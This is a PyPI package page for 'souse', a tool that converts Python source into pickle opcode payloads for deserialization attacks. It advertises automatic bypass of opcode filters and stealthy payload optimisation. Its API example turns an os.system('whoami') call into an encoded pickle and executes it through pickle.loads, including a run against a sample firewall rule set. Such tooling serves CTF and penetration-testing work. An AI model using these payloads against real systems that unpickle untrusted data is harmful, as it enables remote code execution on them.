Skip to main content

A tool for converting Python source code to opcode(pickle)

Project description

souse

A tool for converting Python source code to opcode(pickle), source code is payload :)

中文版

1. help

2. Key Features

  • 🚀 Intelligent Reconstruction: Automatically reconstructs non-pickleable Python source code into fully compatible opcode sequences. For complex source transforms, use parselmouth before souse.
  • ✨ Automated Builtins: Built-in functions like open, eval, and getattr are recognized automatically—no manual import needed.
  • 🛡️ Advanced Bypass: Auto bypass complex limitations (R, o, i, ...)
  • ⚡ Stealthy Optimization: Automatically optimizes generated opcodes using pickletools for minimal size and maximum stealth.
  • 📦 Multi-Functional Transfer: Flexible encoding support (Base64, Hex, URL) and custom transformation sequences.
  • 📝 Precise Debugging: Pinpoints errors with full source code context and syntax highlighting.
  • 💡 API Support: Convert Python source code to opcode(pickle) via API.

opcode supported list: opcode

3. usage

3.1 CLI

./souse/cases/ has some example codes for souse.py.

3.1.1 case 1

source code:

opcode:

3.1.2 case 2

source code:

opcode:

3.1.3 case 3

You can control the final deserialization result by writing a variable name as the last line of the source code:

c=10
a = {}
a["empty"] = ""
c

3.1.4 case 4

transfer opcode:

supported(You can customize it when calling the API):

  • base64_encode
  • hex_encode
  • url_encode

3.1.5 test code

3.1.6 run tests

python souse/souse.py --run-test
  • Requires pytest.

3.2 API

example:

In [1]: import souse

In [2]: exp = "from os import system\nsystem('whoami')"

In [3]: souse.API(exp, optimized=True, transfer=pickle.loads).generate()
macr0phag3
Out[3]: 0

In [4]: import base64

In [5]: souse.API(exp, optimized=True, transfer=base64.b64encode).generate()
Out[5]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [6]: souse.API(exp, optimized=True, transfer=[bytes.decode, str.encode, base64.b64encode]).generate()
Out[6]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [7]: import pickle

In [8]: firewall_rules = {
    ...:     "V": "*",
    ...:     "I01": "*",
    ...:     "I": "100",
    ...:     "R": "*"
    ...: }

In [9]: souse.API(exp, optimized=True, transfer=pickle.loads, firewall_rules=firewall_rules).generate()
[*] choice o to bypass rule: {'R': '*'}
[*] choice S to bypass rule: {'V': '*'}
macr0phag3
Out[9]: 0

4. TODO

  • support for nested expressions
  • opcode bypass supported
    • auto bypass basic limitation(VSI、...)
    • auto bypass complex limitation(Roi
    • auto bypass stb limitation (via setattr)
  • Intelligent Import Transformation (Lazy Import)
  • Intelligent Attribute Assignment Transformation (By getattr/setattr)
  • Converted code output support
  • value bypass supported
    • number
  • API
  • pip install supported
  • Contextual source error reporting
  • Intelligent Subscript Downgrade (u -> __setitem__)
  • Automated Builtin recognition

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

souse-5.0.tar.gz (24.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

souse-5.0-py3-none-any.whl (38.0 kB view details)

Uploaded Python 3

File details

Details for the file souse-5.0.tar.gz.

File metadata

  • Download URL: souse-5.0.tar.gz
  • Upload date:
  • Size: 24.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.4

File hashes

Hashes for souse-5.0.tar.gz
Algorithm Hash digest
SHA256 418b9d3382dda7587f954b64ba7450f88a512171b825eb28be7f115492e7095c
MD5 8eaf953eabe7441ee4a72d66541c6a3f
BLAKE2b-256 d7078618ba82882eab70a7cb6d621726eedec09cf93ac31abf747ae4d851fad3

See more details on using hashes here.

File details

Details for the file souse-5.0-py3-none-any.whl.

File metadata

  • Download URL: souse-5.0-py3-none-any.whl
  • Upload date:
  • Size: 38.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.4

File hashes

Hashes for souse-5.0-py3-none-any.whl
Algorithm Hash digest
SHA256 de88e7bcd012fd97679b49325a538c7cc99fab0d5708471fb252652603982aa9
MD5 21f4ebdba34fdfe008ba1f0771c5e0ec
BLAKE2b-256 dad65cfd5c5d27da0345989458e165eb61123ab2862faf64f0fab280c311d3e0

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page